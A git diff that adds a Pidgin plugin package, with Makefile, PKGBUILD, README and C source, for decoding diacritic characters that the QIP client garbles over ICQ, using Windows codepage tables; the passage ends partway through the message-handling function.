AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA + + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) year name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Library General +Public License instead of this License. diff --git a/pidgin-qip-decoder/Makefile b/pidgin-qip-decoder/Makefile new file mode 100644 index 0000000..c10b145 --- /dev/null +++ b/pidgin-qip-decoder/Makefile @@ -0,0 +1,98 @@ +# Makefile "stolen" from pidgin-qip: http://fialky.com/drupal-5.0/?q=node/13 + +OS=linux +CC=gcc + +# +# Linux Build Specifics: +# +ifeq ($(OS), linux) +#TARGET=pidgin-qip.so +TARGET=qip-decoder.so +CFLAGS+=`pkg-config pidgin --cflags` -fPIC +LDFLAGS+=`pkg-config pidgin --libs` -shared +PREFIX?=/usr/ +PIDGIN_PLUGIN_PATH ?= $(PREFIX)/lib/pidgin/ +endif + + +# +# Windows Build Specifics +# +ifeq ($(OS), win32) +#TARGET = pidgin-qip.dll +TARGET = qip-decoder.dll + +# Windows users, please check out this : + +# Please install the pidgin gtk package (check the readme) +GTK=C:/cygwin/work/win32-dev/gtk_2_0 +# Please download pidgin corresponding sources, we need them +PIDGINSRC=C:/cygwin/work/pidgin-2.3.1 +# You need to have pidgin installed, please tell us where +PIDGIN=C:/Program\ Files/Pidgin +# Pidgin plugins default directory, it should be OK +PIDGIN_PLUGIN_PATH=$(PIDGIN)/plugins + +# Nothing to modify after this point: +# Include dirs +CFLAGS+=-I$(GTK)/include +CFLAGS+=-I$(GTK)/include/glib-2.0 +CFLAGS+=-I$(GTK)/include/atk-1.0 +CFLAGS+=-I$(GTK)/include/gtk-2.0 +CFLAGS+=-I$(GTK)/include/pango-1.0 +CFLAGS+=-I$(GTK)/lib/gtk-2.0/include +CFLAGS+=-I$(GTK)/lib/glib-2.0/include +CFLAGS+=-I$(PIDGINSRC)/pidgin +CFLAGS+=-I$(PIDGINSRC)/pidgin/win32 +CFLAGS+=-I$(PIDGINSRC)/libpurple + +LDFLAGS=-shared -L$(GTK)/lib -L$(PIDGIN) +LDFLAGS+=-latk-1.0 -lgtk-win32-2.0.dll +LDFLAGS+=-lpidgin -lpurple -lintl -lgmodule-2.0.dll +LDFLAGS+=-lglib-2.0.dll -lgdk-win32-2.0.dll +LDFLAGS+=-lgdk_pixbuf-2.0.dll +LDFLAGS+=-lgobject-2.0.dll +LDFLAGS+=-lpango-1.0.dll +LDFLAGS+=-lpangowin32-1.0.dll +CC=gcc +INSTALL=cp +RM=erase +endif + +# Debug selection, use 'make NODEBUG=1' +NODEBUG=0 +ifeq ($(NODEBUG), 0 ) +CFLAGS+=-g +endif + +RM?=rm +INSTALL?=install -D + +# Objects rules ... + +#OBJS=pidgin-qip.o +OBJS=qip-decoder.o +#OBJS+=urlhandler.o +#OBJS+=plugin.o +#OBJS+=ui.o + +CFLAGS+=-Wall -Werror + +$(TARGET): $(OBJS) + $(CC) -o $(TARGET) $(OBJS) $(LDFLAGS) $(CFLAGS) + +#pidgin-qip.o: pidgin-qip.c pidgin-qip.h +#urlhandler.o: urlhandler.c pidgin-qip.h +#plugin.o: plugin.c pidgin-qip.h +#ui.o: ui.c pidgin-qip.h +pidgin-qip.o: pidgin-qip.c +qip-decoder.o: qip-decoder.c + +.PHONY: clean +clean: + $(RM) $(TARGET) $(OBJS) + +.PHONY: install +install: $(TARGET) + $(INSTALL) $(TARGET) $(PIDGIN_PLUGIN_PATH)/ diff --git a/pidgin-qip-decoder/PKGBUILD b/pidgin-qip-decoder/PKGBUILD new file mode 100644 index 0000000..5544783 --- /dev/null +++ b/pidgin-qip-decoder/PKGBUILD @@ -0,0 +1,25 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=pidgin-qip-decoder +pkgver=1.3 +pkgrel=1 +pkgdesc="Pidgin plugin to display diacritic letters from QIP IM correctly" +arch=(i686 x86_64) +license=('GPL') +url='http://www.sedaha.cz/drupal/en/content/plugin-qip-decoder-for-pidgin' +depends=(pidgin) +source=( + 'Makefile' + "http://www.sedaha.cz/qip-decoder/qip-decoder-${pkgver}.src.zip" +) +md5sums=('0822bbc7829e96a2edff2ed4475deb6e' + 'd1d44bb983a30340b17b139ff41ff954') + +build() { + make || return 1 + mkdir -p ${pkgdir}/usr/lib/pidgin/ + cp qip-decoder.so ${pkgdir}/usr/lib/pidgin/ + chmod -R 755 ${pkgdir}/ +} diff --git a/pidgin-qip-decoder/README b/pidgin-qip-decoder/README new file mode 100755 index 0000000..3f838a8 --- /dev/null +++ b/pidgin-qip-decoder/README @@ -0,0 +1,45 @@ +QIP decoder for Pidgin +---------------------- + +Installation and configuration +============================== +Copy qip-decoder.dll or qip-decoder.so to pidgin plugins directory on Windows, +or to /usr/lib/purple-2 directory on Linux. +In plugin settings Tools/Plugins (Ctrl+U) enable the QIP Decoder plugin. + +Version 1.3 allows to set codepage independently for each one contact. +For this to work, you must create file qips.xml in +C:\Documents and Settings\User\Application data\.purple directory on Windows, +or in ~/.purple on Linux. + +Example: Most of your contacts have QIP and use codepage # 1250. Howewer, your +contact 111222333 has QIP and is using codepage # 1252. Next contact 222333444 +has Pidgin and writes in Russian (it corresponds to the codepage # 1251). +This contact requires disabling the QIP Decoder, which would corrupt cyrillic by +its operation. + + + + + + + + +Source code +=========== +Source code is now available from http://www.sedaha.cz/qip-decoder/ . + +Compilation +=========== +Please follow the official Pidgin plugin instructions +http://developer.pidgin.im/wiki/CHowTo/BasicPluginHowto and the section PLUGINS +in README file (in Pidgin source). + +Simply, it says, you have to + + * download and unpack Pidgin source, then + * ./configure, + * copy qip-decoder.c source file into /usr/src/pidgin-X.X.X/libpurple/plugins directory and + * make qip-decoder.so. + +Viktor Michna (viktor.michna@sedaha.cz) diff --git a/pidgin-qip-decoder/qip-decoder.c b/pidgin-qip-decoder/qip-decoder.c new file mode 100755 index 0000000..a56a6b1 --- /dev/null +++ b/pidgin-qip-decoder/qip-decoder.c @@ -0,0 +1,575 @@ +/* + Copyright (C) 2008 Viktor Michna + + Version 1.3 + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU Lesser General Public License as published by + the Free Software Foundation; either version 2.1 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. +*/ + + +#define PURPLE_PLUGINS + +#include + +/* This will prevent compiler errors in some instances and is better explained in the + * how-to documents on the wiki */ +#ifndef G_GNUC_NULL_TERMINATED +# if __GNUC__ >= 4 +# define G_GNUC_NULL_TERMINATED __attribute__((__sentinel__)) +# else +# define G_GNUC_NULL_TERMINATED +# endif +#endif + +#include "notify.h" +#include "plugin.h" +#include "version.h" + +#include +#include + +#include + +#include + +#ifdef _WIN32 +#include +#endif + +#ifndef _WIN32 +// Central European languages that use Latin script +static char* win1250_locales = { + "ro,sl,hu,sk,pl,sq,sr,hr,cs" +}; +// Cyrillic alphabets +static char* win1251_locales = { + //"mn,mk,uz,uk,az,tt,kk,be,ky,bg,sr,ru" + "mn,mk,uk,tt,kk,be,ky,bg,ru" // uz,az,sr - cyrillic disabled +}; +// Western languages +static char* win1252_locales = { + "en,fr,nl,gl,de,uq,fi,fo,ca,da,es,af,is,id,it,nn,pt,nb,ms" +}; +// Greek +static char* win1253_locales = { + "el" +}; +// Turkish +static char* win1254_locales = { + "uz,az,tr" +}; +// Hebrew +static char* win1255_locales = { + "he" +}; +// Arabic +static char* win1256_locales = { + "ar,fa,ur" +}; +// Baltic languages +static char* win1257_locales = { + "et,lv,lt" +}; +// Vietnamese +static char* win1258_locales = { + "vi" +}; +#endif + +static unsigned short win1250_table[] = { + 0x20AC, 0xFFFD, 0x201A, 0xFFFD, 0x201E, 0x2026, 0x2020, 0x2021, 0xFFFD, 0x2030, 0x0160, 0x2039, 0x015A, 0x0164, 0x017D, 0x0179, + 0xFFFD, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, 0xFFFD, 0x2122, 0x0161, 0x203A, 0x015B, 0x0165, 0x017E, 0x017A, + 0x00A0, 0x02C7, 0x02D8, 0x0141, 0x00A4, 0x0104, 0x00A6, 0x00A7, 0x00A8, 0x00A9, 0x015E, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x017B, + 0x00B0, 0x00B1, 0x02DB, 0x0142, 0x00B4, 0x00B5, 0x00B6, 0x00B7, 0x00B8, 0x0105, 0x015F, 0x00BB, 0x013D, 0x02DD, 0x013E, 0x017C, + 0x0154, 0x00C1, 0x00C2, 0x0102, 0x00C4, 0x0139, 0x0106, 0x00C7, 0x010C, 0x00C9, 0x0118, 0x00CB, 0x011A, 0x00CD, 0x00CE, 0x010E, + 0x0110, 0x0143, 0x0147, 0x00D3, 0x00D4, 0x0150, 0x00D6, 0x00D7, 0x0158, 0x016E, 0x00DA, 0x0170, 0x00DC, 0x00DD, 0x0162, 0x00DF, + 0x0155, 0x00E1, 0x00E2, 0x0103, 0x00E4, 0x013A, 0x0107, 0x00E7, 0x010D, 0x00E9, 0x0119, 0x00EB, 0x011B, 0x00ED, 0x00EE, 0x010F, + 0x0111, 0x0144, 0x0148, 0x00F3, 0x00F4, 0x0151, 0x00F6, 0x00F7, 0x0159, 0x016F, 0x00FA, 0x0171, 0x00FC, 0x00FD, 0x0163, 0x02D9 +}; + +static unsigned short win1251_table[] = { + 0x0402, 0x0403, 0x201A, 0x0453, 0x201E, 0x2026, 0x2020, 0x2021, 0x20AC, 0x2030, 0x0409, 0x2039, 0x040A, 0x040C, 0x040B, 0x040F, + 0x0452, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, 0xFFFD, 0x2122, 0x0459, 0x203A, 0x045A, 0x045C, 0x045B, 0x045F, + 0x00A0, 0x040E, 0x045E, 0x0408, 0x00A4, 0x0490, 0x00A6, 0x00A7, 0x0401, 0x00A9, 0x0404, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x0407, + 0x00B0, 0x00B1, 0x0406, 0x0456, 0x0491, 0x00B5, 0x00B6, 0x00B7, 0x0451, 0x2116, 0x0454, 0x00BB, 0x0458, 0x0405, 0x0455, 0x0457, + 0x0410, 0x0411, 0x0412, 0x0413, 0x0414, 0x0415, 0x0416, 0x0417, 0x0418, 0x0419, 0x041A, 0x041B, 0x041C, 0x041D, 0x041E, 0x041F, + 0x0420, 0x0421, 0x0422, 0x0423, 0x0424, 0x0425, 0x0426, 0x0427, 0x0428, 0x0429, 0x042A, 0x042B, 0x042C, 0x042D, 0x042E, 0x042F, + 0x0430, 0x0431, 0x0432, 0x0433, 0x0434, 0x0435, 0x0436, 0x0437, 0x0438, 0x0439, 0x043A, 0x043B, 0x043C, 0x043D, 0x043E, 0x043F, + 0x0440, 0x0441, 0x0442, 0x0443, 0x0444, 0x0445, 0x0446, 0x0447, 0x0448, 0x0449, 0x044A, 0x044B, 0x044C, 0x044D, 0x044E, 0x044F +}; + +static unsigned short win1252_table[] = { + 0x20AC, 0xFFFD, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, 0x02C6, 0x2030, 0x0160, 0x2039, 0x0152, 0xFFFD, 0x017D, 0xFFFD, + 0xFFFD, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, 0x02DC, 0x2122, 0x0161, 0x203A, 0x0153, 0xFFFD, 0x017E, 0x0178, + 0x00A0, 0x00A1, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, 0x00A8, 0x00A9, 0x00AA, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, 0x00B8, 0x00B9, 0x00BA, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00BF, + 0x00C0, 0x00C1, 0x00C2, 0x00C3, 0x00C4, 0x00C5, 0x00C6, 0x00C7, 0x00C8, 0x00C9, 0x00CA, 0x00CB, 0x00CC, 0x00CD, 0x00CE, 0x00CF, + 0x00D0, 0x00D1, 0x00D2, 0x00D3, 0x00D4, 0x00D5, 0x00D6, 0x00D7, 0x00D8, 0x00D9, 0x00DA, 0x00DB, 0x00DC, 0x00DD, 0x00DE, 0x00DF, + 0x00E0, 0x00E1, 0x00E2, 0x00E3, 0x00E4, 0x00E5, 0x00E6, 0x00E7, 0x00E8, 0x00E9, 0x00EA, 0x00EB, 0x00EC, 0x00ED, 0x00EE, 0x00EF, + 0x00F0, 0x00F1, 0x00F2, 0x00F3, 0x00F4, 0x00F5, 0x00F6, 0x00F7, 0x00F8, 0x00F9, 0x00FA, 0x00FB, 0x00FC, 0x00FD, 0x00FE, 0x00FF +}; + +static unsigned short win1253_table[] = { + 0x20AC, 0xFFFD, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, 0xFFFD, 0x2030, 0xFFFD, 0x2039, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, + 0xFFFD, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, 0xFFFD, 0x2122, 0xFFFD, 0x203A, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, + 0x00A0, 0x0385, 0x0386, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, 0x00A8, 0x00A9, 0xFFFD, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x2015, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x0384, 0x00B5, 0x00B6, 0x00B7, 0x0388, 0x0389, 0x038A, 0x00BB, 0x038C, 0x00BD, 0x038E, 0x038F, + 0x0390, 0x0391, 0x0392, 0x0393, 0x0394, 0x0395, 0x0396, 0x0397, 0x0398, 0x0399, 0x039A, 0x039B, 0x039C, 0x039D, 0x039E, 0x039F, + 0x03A0, 0x03A1, 0xFFFD, 0x03A3, 0x03A4, 0x03A5, 0x03A6, 0x03A7, 0x03A8, 0x03A9, 0x03AA, 0x03AB, 0x03AC, 0x03AD, 0x03AE, 0x03AF, + 0x03B0, 0x03B1, 0x03B2, 0x03B3, 0x03B4, 0x03B5, 0x03B6, 0x03B7, 0x03B8, 0x03B9, 0x03BA, 0x03BB, 0x03BC, 0x03BD, 0x03BE, 0x03BF, + 0x03C0, 0x03C1, 0x03C2, 0x03C3, 0x03C4, 0x03C5, 0x03C6, 0x03C7, 0x03C8, 0x03C9, 0x03CA, 0x03CB, 0x03CC, 0x03CD, 0x03CE, 0xFFFD +}; + +static unsigned short win1254_table[] = { + 0x20AC, 0xFFFD, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, 0x02C6, 0x2030, 0x0160, 0x2039, 0x0152, 0xFFFD, 0xFFFD, 0xFFFD, + 0xFFFD, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, 0x02DC, 0x2122, 0x0161, 0x203A, 0x0153, 0xFFFD, 0xFFFD, 0x0178, + 0x00A0, 0x00A1, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, 0x00A8, 0x00A9, 0x00AA, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, 0x00B8, 0x00B9, 0x00BA, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00BF, + 0x00C0, 0x00C1, 0x00C2, 0x00C3, 0x00C4, 0x00C5, 0x00C6, 0x00C7, 0x00C8, 0x00C9, 0x00CA, 0x00CB, 0x00CC, 0x00CD, 0x00CE, 0x00CF, + 0x011E, 0x00D1, 0x00D2, 0x00D3, 0x00D4, 0x00D5, 0x00D6, 0x00D7, 0x00D8, 0x00D9, 0x00DA, 0x00DB, 0x00DC, 0x0130, 0x015E, 0x00DF, + 0x00E0, 0x00E1, 0x00E2, 0x00E3, 0x00E4, 0x00E5, 0x00E6, 0x00E7, 0x00E8, 0x00E9, 0x00EA, 0x00EB, 0x00EC, 0x00ED, 0x00EE, 0x00EF, + 0x011F, 0x00F1, 0x00F2, 0x00F3, 0x00F4, 0x00F5, 0x00F6, 0x00F7, 0x00F8, 0x00F9, 0x00FA, 0x00FB, 0x00FC, 0x0131, 0x015F, 0x00FF +}; + +static unsigned short win1255_table[] = { + 0x20AC, 0xFFFD, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, 0x02C6, 0x2030, 0xFFFD, 0x2039, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, + 0xFFFD, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, 0x02DC, 0x2122, 0xFFFD, 0x203A, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, + 0x00A0, 0x00A1, 0x00A2, 0x00A3, 0x20AA, 0x00A5, 0x00A6, 0x00A7, 0x00A8, 0x00A9, 0x00D7, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, 0x00B8, 0x00B9, 0x00F7, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00BF, + 0x05B0, 0x05B1, 0x05B2, 0x05B3, 0x05B4, 0x05B5, 0x05B6, 0x05B7, 0x05B8, 0x05B9, 0xFFFD, 0x05BB, 0x05BC, 0x05BD, 0x05BE, 0x05BF, + 0x05C0, 0x05C1, 0x05C2, 0x05C3, 0x05F0, 0x05F1, 0x05F2, 0x05F3, 0x05F4, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, 0xFFFD, + 0x05D0, 0x05D1, 0x05D2, 0x05D3, 0x05D4, 0x05D5, 0x05D6, 0x05D7, 0x05D8, 0x05D9, 0x05DA, 0x05DB, 0x05DC, 0x05DD, 0x05DE, 0x05DF, + 0x05E0, 0x05E1, 0x05E2, 0x05E3, 0x05E4, 0x05E5, 0x05E6, 0x05E7, 0x05E8, 0x05E9, 0x05EA, 0xFFFD, 0xFFFD, 0x200E, 0x200F, 0xFFFD +}; + +static unsigned short win1256_table[] = { + 0x20AC, 0x067E, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, 0x02C6, 0x2030, 0x0679, 0x2039, 0x0152, 0x0686, 0x0698, 0x0688, + 0x06AF, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, 0x06A9, 0x2122, 0x0691, 0x203A, 0x0153, 0x200C, 0x200D, 0x06BA, + 0x00A0, 0x060C, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, 0x00A8, 0x00A9, 0x06BE, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, 0x00B8, 0x00B9, 0x061B, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x061F, + 0x06C1, 0x0621, 0x0622, 0x0623, 0x0624, 0x0625, 0x0626, 0x0627, 0x0628, 0x0629, 0x062A, 0x062B, 0x062C, 0x062D, 0x062E, 0x062F, + 0x0630, 0x0631, 0x0632, 0x0633, 0x0634, 0x0635, 0x0636, 0x00D7, 0x0637, 0x0638, 0x0639, 0x063A, 0x0640, 0x0641, 0x0642, 0x0643, + 0x00E0, 0x0644, 0x00E2, 0x0645, 0x0646, 0x0647, 0x0648, 0x00E7, 0x00E8, 0x00E9, 0x00EA, 0x00EB, 0x0649, 0x064A, 0x00EE, 0x00EF, + 0x064B, 0x064C, 0x064D, 0x064E, 0x00F4, 0x064F, 0x0650, 0x00F7, 0x0651, 0x00F9, 0x0652, 0x00FB, 0x00FC, 0x200E, 0x200F, 0x06D2 +}; + +static unsigned short win1257_table[] = { + 0x20AC, 0xFFFD, 0x201A, 0xFFFD, 0x201E, 0x2026, 0x2020, 0x2021, 0xFFFD, 0x2030, 0xFFFD, 0x2039, 0xFFFD, 0x00A8, 0x02C7, 0x00B8, + 0xFFFD, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, 0xFFFD, 0x2122, 0xFFFD, 0x203A, 0xFFFD, 0x00AF, 0x02DB, 0xFFFD, + 0x00A0, 0xFFFD, 0x00A2, 0x00A3, 0x00A4, 0xFFFD, 0x00A6, 0x00A7, 0x00D8, 0x00A9, 0x0156, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00C6, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, 0x00F8, 0x00B9, 0x0157, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00E6, + 0x0104, 0x012E, 0x0100, 0x0106, 0x00C4, 0x00C5, 0x0118, 0x0112, 0x010C, 0x00C9, 0x0179, 0x0116, 0x0122, 0x0136, 0x012A, 0x013B, + 0x0160, 0x0143, 0x0145, 0x00D3, 0x014C, 0x00D5, 0x00D6, 0x00D7, 0x0172, 0x0141, 0x015A, 0x016A, 0x00DC, 0x017B, 0x017D, 0x00DF, + 0x0105, 0x012F, 0x0101, 0x0107, 0x00E4, 0x00E5, 0x0119, 0x0113, 0x010D, 0x00E9, 0x017A, 0x0117, 0x0123, 0x0137, 0x012B, 0x013C, + 0x0161, 0x0144, 0x0146, 0x00F3, 0x014D, 0x00F5, 0x00F6, 0x00F7, 0x0173, 0x0142, 0x015B, 0x016B, 0x00FC, 0x017C, 0x017E, 0x02D9 +}; + +static unsigned short win1258_table[] = { + 0x20AC, 0xFFFD, 0x201A, 0x0192, 0x201E, 0x2026, 0x2020, 0x2021, 0x02C6, 0x2030, 0xFFFD, 0x2039, 0x0152, 0xFFFD, 0xFFFD, 0xFFFD, + 0xFFFD, 0x2018, 0x2019, 0x201C, 0x201D, 0x2022, 0x2013, 0x2014, 0x02DC, 0x2122, 0xFFFD, 0x203A, 0x0153, 0xFFFD, 0xFFFD, 0x0178, + 0x00A0, 0x00A1, 0x00A2, 0x00A3, 0x00A4, 0x00A5, 0x00A6, 0x00A7, 0x00A8, 0x00A9, 0x00AA, 0x00AB, 0x00AC, 0x00AD, 0x00AE, 0x00AF, + 0x00B0, 0x00B1, 0x00B2, 0x00B3, 0x00B4, 0x00B5, 0x00B6, 0x00B7, 0x00B8, 0x00B9, 0x00BA, 0x00BB, 0x00BC, 0x00BD, 0x00BE, 0x00BF, + 0x00C0, 0x00C1, 0x00C2, 0x0102, 0x00C4, 0x00C5, 0x00C6, 0x00C7, 0x00C8, 0x00C9, 0x00CA, 0x00CB, 0x0300, 0x00CD, 0x00CE, 0x00CF, + 0x0110, 0x00D1, 0x0309, 0x00D3, 0x00D4, 0x01A0, 0x00D6, 0x00D7, 0x00D8, 0x00D9, 0x00DA, 0x00DB, 0x00DC, 0x01AF, 0x0303, 0x00DF, + 0x00E0, 0x00E1, 0x00E2, 0x0103, 0x00E4, 0x00E5, 0x00E6, 0x00E7, 0x00E8, 0x00E9, 0x00EA, 0x00EB, 0x0301, 0x00ED, 0x00EE, 0x00EF, + 0x0111, 0x00F1, 0x0323, 0x00F3, 0x00F4, 0x01A1, 0x00F6, 0x00F7, 0x00F8, 0x00F9, 0x00FA, 0x00FB, 0x00FC, 0x01B0, 0x20AB, 0x00FF +}; + +static unsigned short* win125x_tables[] = { + win1250_table, win1251_table, win1252_table, win1253_table, + win1254_table, win1255_table, win1256_table, win1257_table, + win1258_table +}; + +#define CODEPAGE_MIN 1250 +#define CODEPAGE_MAX 1258 +#define CODEPAGE_TABLE(cp) (((CODEPAGE_MIN<=(cp)) && ((cp)<=CODEPAGE_MAX)) ? win125x_tables[(cp)-CODEPAGE_MIN] : NULL) + +// default encoding table for nonspecified UINs or NULL to disable +static unsigned short* encoding_table; +// mapping UIN => encoding table +static GHashTable* qip_codepages; + + +#ifndef _WIN32 +static unsigned int GetACP() { + char* locale; + char lang[3]; + // + locale = getenv("LANG"); + if (!locale) return 0; + if (strlen(locale)<2) return 0; + // + lang[0] = locale[0]; + lang[1] = locale[1]; + lang[2] = 0; + // + if (strstr(win1250_locales,lang)) { + return 1250; + } else if (strstr(win1251_locales,lang)) { + return 1251; + } else if (strstr(win1252_locales,lang)) { + return 1252; + } else if (strstr(win1253_locales,lang)) { + return 1253; + } else if (strstr(win1254_locales,lang)) { + return 1254; + } else if (strstr(win1255_locales,lang)) { + return 1255; + } else if (strstr(win1256_locales,lang)) { + return 1256; + } else if (strstr(win1257_locales,lang)) { + return 1257; + } else if (strstr(win1258_locales,lang)) { + return 1258; + } else { + return 0; + } +} +#endif + +static int HexValue(char c) { + if (c>='0' && c<='9') { + return c-'0'; + } else if (c>='A' && c<='F') { + return c-('A'-0x0A); + } else if (c>='a' && c<='f') { + return c-('a'-0x0A); + } else { + return -1; + } +} + +static int UTF8Char(char* str, unsigned short code) { + if (code<=0x7F) { + if (str) { + str[0] = code; + } + return 1; + } else if (code<=0x7FF) { + if (str) { + str[0] = 0xC0 | (code >> 6); + str[1] = 0x80 | (code & 0x3F); + } + return 2; + } else { + if (str) { + str[0] = 0xE0 | (code >> 12); + str[1] = 0x80 | ((code >> 6) & 0x3F); + str[2] = 0x80 | (code & 0x3F); + } + return 3; + } +} + +static unsigned short* get_table_by_uin(char* uin) { + char* key; + unsigned short* table = encoding_table; + if (uin && qip_codepages) { + if (!g_hash_table_lookup_extended(qip_codepages, uin, (gpointer *)&key, (gpointer *)&table)) { + table = encoding_table; + } + } + return table; +} + +static gboolean receiving_im_msg_cb(PurpleAccount *account, char **sender, char **buffer, PurpleConversation *conv, PurpleMessageFlags *flags, void *data) { + + char c; + int hex_digit; + char* str; + int remaining; + int length; + int new_length; + int position; + int encoded_size; + int decoded_size; + unsigned short char_code; // ansi/unicode character + unsigned short* table; + + // return immediately, if not the ICQ protocol + if (strcmp("prpl-icq",purple_account_get_protocol_id(account))!=0) return FALSE; + + // return if fix is disabled for the UIN + table = get_table_by_uin(*sender); + if (!table) return FALSE; + + + // The following conversion is made so we almost never need message buffer + // memory reallocation. + + str = *buffer; // position in the message + length = strlen(str); + remaining = length; // remaining chars to iterate + position = 0; + + // pro each character in the message + for (; remaining>0; str++, position++, remaining--) { + c=*str; + if (c==0) break; + + // Check, if there's a broken character at the current position. + // If so, we'll compute the ansi code (0x80-0xFF) in char_code. + // + // The QIP uses WINDOWS-1251 character encoding, but not complete. + // It seems, russian authors of QIP implemented only support for + // russian characters, but not for other languages that are using + // WINDOWS-1251 encoding. Maybe, they wanted to avoid the usage of + // a complete convert table or system unicode functions, so they + // only used the approximate relationship between unicode cyrillic + // codes and windows codes (linear function) and corrected only + // a few of characters. I managed to determine the technique, so now + // we can perform the reverse sequence. + // + if ((c=='&') && 